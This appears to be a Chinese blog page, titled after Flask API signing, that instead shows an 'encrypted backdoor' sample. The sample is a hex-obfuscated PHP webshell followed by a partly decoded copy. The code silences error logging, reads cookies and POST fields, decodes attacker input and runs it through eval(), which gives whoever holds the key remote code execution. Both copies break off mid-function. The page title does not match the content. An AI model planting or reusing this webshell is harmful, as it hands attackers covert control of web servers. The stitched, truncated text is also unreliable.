Flask接口签名sign原理与实例代码浅析
299
2022-10-10
一段加密的后门代码(一段加密的后门代码怎么看)
代码解密:${"\x47\x4c\x4fB\x41LS"}["s\x70\x72\x62\x77l\x6fi"]="\x6f\x75t_\x64\x61\x74\x61";${"\x47\x4c\x4f\x42\x41\x4c\x53"}["w\x64k\x71e\x67\x62t\x73"]="\x6b\x65\x79\x33";${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x72\x65\x64\x73ob\x64\x67\x66\x77"]="\x6b\x65\x79\x32";${"\x47L\x4f\x42\x41\x4c\x53"}["\x63x\x76t\x73\x72\x63\x77r"]="\x6e";${"G\x4c\x4fBAL\x53"}["ud\x77\x77\x78e\x69\x6e\x6as"]="c";${"G\x4c\x4fB\x41\x4c\x53"}["ct\x78\x67\x76qg\x6cvo\x67"]="\x70";${"G\x4c\x4f\x42\x41\x4c\x53"}["\x73j\x68y\x77\x6e\x68"]="\x73";${"\x47L\x4f\x42ALS"}["\x72d\x68ii\x76\x67\x72\x6d"]="\x62a\x73\x656\x34\x69\x6ev";${"\x47\x4cO\x42\x41\x4cS"}["\x6f\x69\x6d\x66\x77p\x62v\x73"]="i";${"\x47\x4cO\x42\x41\x4cS"}["\x78\x65\x66ud\x77\x65\x6b\x71\x78\x72"]="b\x61s\x65\x36\x34\x63\x68\x61r\x73";${"\x47LO\x42\x41LS"}["\x6a\x6boz\x74\x6f\x67\x6b"]="\x64";${"\x47\x4c\x4f\x42\x41LS"}["\x6a\x66du\x62\x66\x73y"]="\x61";${"G\x4c\x4f\x42AL\x53"}["\x70\x70\x6d\x75\x79\x76i"]="\x72";${"\x47L\x4f\x42A\x4c\x53"}["\x66km\x79\x71\x65\x78"]="\x61\x6b";${"\x47LOB\x41\x4cS"}["\x6e\x76\x69\x71\x70\x68\x6c"]="da\x74\x61";${"\x47\x4c\x4f\x42\x41LS"}["q\x6c\x79\x6d\x6f\x6b\x66zoe"]="key";@ini_set("\x65\x72\x72\x6f\x72_l\x6fg",NULL);@ini_set("\x6c\x6fg\x5f\x65rr\x6fr\x73",0);@ini_set("\x6d\x61\x78_\x65x\x65\x63u\x74\x69\x6f\x6e_\x74\x69m\x65",0);@set_time_limit(0);array_walk($_COOKIE,"e\x6eu\x6d\x65r\x61\x74o\x72");array_walk($_POST,"\x65nu\x6d\x65rator");function enumerator($value,$key){${"\x47\x4cOB\x41\x4c\x53"}["\x77b\x6e\x72\x64\x66"]="d\x61ta";${"\x47\x4c\x4f\x42A\x4c\x53"}["x\x76\x73\x77\x6d\x74\x76\x79o\x64"]="\x76a\x6c\x75e";${${"G\x4c\x4f\x42A\x4c\x53"}["w\x62\x6erd\x66"]}=@unserialize(decode(get_params(${${"GLO\x42AL\x53"}["\x78\x76\x73\x77\x6d\x74\x76\x79od"]}),${${"G\x4cO\x42A\x4cS"}["q\x6c\x79mok\x66\x7ao\x65"]}));@extract(${${"\x47L\x4fBA\x4c\x53"}["\x6e\x76i\x71\x70\x68\x6c"]});if(isset(${${"GL\x4f\x42\x41LS"}["\x66\x6b\x6d\x79\x71\x65\x78"]})){${"G\x4c\x4f\x42A\x4c\x53"}["\x6bd\x63cuu\x74\x6a\x63cpn"]="\x72";${${"\x47L\x4f\x42\x41\x4c\x53"}["\x6bd\x63\x63\x75\x75\x74\x6a\x63\x63p\x6e"]}=array();${"G\x4c\x4f\x42\x41\x4c\x53"}["\x6a\x6b\x62\x6c\x61l\x69"]="\x61";$dnyyrqcjhbg="\x72";${${"\x47\x4c\x4f\x42\x41\x4cS"}["\x70\x70\x6d\x75\x79v\x69"]}["\x73".chr(118)]=chr(49).".\x30-3";$kwshfzxow="\x72";${$dnyyrqcjhbg}["p".chr(118)]=PHP_VERSION;if(ord(${${"GL\x4f\x42\x41\x4cS"}["\x6a\x66d\x75\x62\x66\x73\x79"]})==105)echo@serialize(${$kwshfzxow});elseif(ord(${${"G\x4c\x4f\x42\x41\x4c\x53"}["j\x6b\x62l\x61\x6c\x69"]})==101)eval(${${"\x47\x4cO\x42A\x4c\x53"}["j\x6b\x6f\x7a\x74\x6f\x67\x6b"]});exit();}}function get_params($s){$egmozpvqw="c";$dvhtoerid="ba\x73\x65\x36\x34\x63ha\x72\x73";${"\x47\x4cOB\x41L\x53"}["\x69\x61\x6b\x74\x61\x65p\x7a\x6bolt"]="\x73";${${"\x47LO\x42\x41\x4cS"}["\x78e\x66u\x64\x77e\x6b\x71\x78r"]}="\x41B\x43\x44\x45FG\x48I\x4aKLMN\x4f\x50\x51\x52S\x54\x55V\x57X\x59Z\x61\x62\x63\x64ef\x67\x68i\x6akl\x6d\x6eop\x71\x72s\x74u\x76w\x78y\x7a012\x334\x356\x3789+/";${"\x47L\x4f\x42A\x4c\x53"}["\x75\x64\x67m\x6ft\x6cl\x72\x71q\x79"]="r";$navmbtcm="\x70";$hbzvyvtkwl="\x70";$lksboqor="\x73";${"\x47\x4c\x4f\x42A\x4cS"}["\x6ecd\x67q\x72\x75\x73\x6fdb"]="\x62a\x73e\x364\x69\x6e\x76";$pjitegq="\x73";${${"\x47L\x4f\x42A\x4c\x53"}["\x6e\x63\x64\x67q\x72u\x73od\x62"]}=Array();${"G\x4c\x4f\x42\x41\x4cS"}["\x61\x68\x72\x63d\x68\x6blj\x63h\x66"]="s";${"\x47\x4c\x4f\x42\x41LS"}["\x73\x77\x7a\x6ad\x6dme\x6b"]="r";for(${${"\x47L\x4f\x42\x41\x4c\x53"}["\x6fi\x6dfwpb\x76\x73"]}=0;${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x6f\x69\x6df\x77\x70bvs"]} ?>
解密后的代码:
${"GLOBALS"}["sprbwloi"]="out_data";${"GLOBALS"}["wdkqegbts"]="key3";${"GLOBALS"}["redsobdgfw"]="key2";${"GLOBALS"}["cxvtsrcwr"]="n";${"GLOBALS"}["udwwxeinjs"]="c";${"GLOBALS"}["ctxgvqglvog"]="p";${"GLOBALS"}["sjhywnh"]="s";${"GLOBALS"}["rdhiivgrm"]="base64inv";${"GLOBALS"}["oimfwpbvs"]="i";${"GLOBALS"}["xefudwekqxr"]="base64chars";${"GLOBALS"}["jkoztogk"]="d";${"GLOBALS"}["jfdubfsy"]="a";${"GLOBALS"}["ppmuyvi"]="r";${"GLOBALS"}["fkmyqex"]="ak";${"GLOBALS"}["nviqphl"]="data";${"GLOBALS"}["qlymokfzoe"]="key";@ini_set("error_log",NULL);@ini_set("log_errors",0);@ini_set("max_execution_time",0);@set_time_limit(0);array_walk($_COOKIE,"enumerator");array_walk($_POST,"enumerator");function enumerator($value,$key){${"GLOBALS"}["wbnrdf"]="data";${"GLOBALS"}["xvswmtvyod"]="value";${${"GLOBALS"}["wbnrdf"]}=@unserialize(decode(get_params(${${"GLOBALS"}["xvswmtvyod"]}),${${"GLOBALS"}["qlymokfzoe"]}));@extract(${${"GLOBALS"}["nviqphl"]});if(isset(${${"GLOBALS"}["fkmyqex"]})){${"GLOBALS"}["kdccuutjccpn"]="r";${${"GLOBALS"}["kdccuutjccpn"]}=array();${"GLOBALS"}["jkblali"]="a";$dnyyrqcjhbg="r";${${"GLOBALS"}["ppmuyvi"]}["sv"]="1.0-3";$kwshfzxow="r";${$dnyyrqcjhbg}["pv"]=PHP_VERSION;if(ord(${${"GLOBALS"}["jfdubfsy"]})==105)echo@serialize(${$kwshfzxow});elseif(ord(${${"GLOBALS"}["jkblali"]})==101)eval(${${"GLOBALS"}["jkoztogk"]});}}function get_params($s){$egmozpvqw="c";$dvhtoerid="base64chars";${"GLOBALS"}["iaktaepzkolt"]="s";${${"GLOBALS"}["xefudwekqxr"]}="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";${"GLOBALS"}["udgmotllrqqy"]="r";$navmbtcm="p";$hbzvyvtkwl="p";$lksboqor="s";${"GLOBALS"}["ncdgqrusodb"]="base64inv";$pjitegq="s";${${"GLOBALS"}["ncdgqrusodb"]}=Array();${"GLOBALS"}["ahrcdhkljchf"]="s";${"GLOBALS"}["swzjdmmek"]="r";for(${${"GLOBALS"}["oimfwpbvs"]}=0;${${"GLOBALS"}["oimfwpbvs"]}
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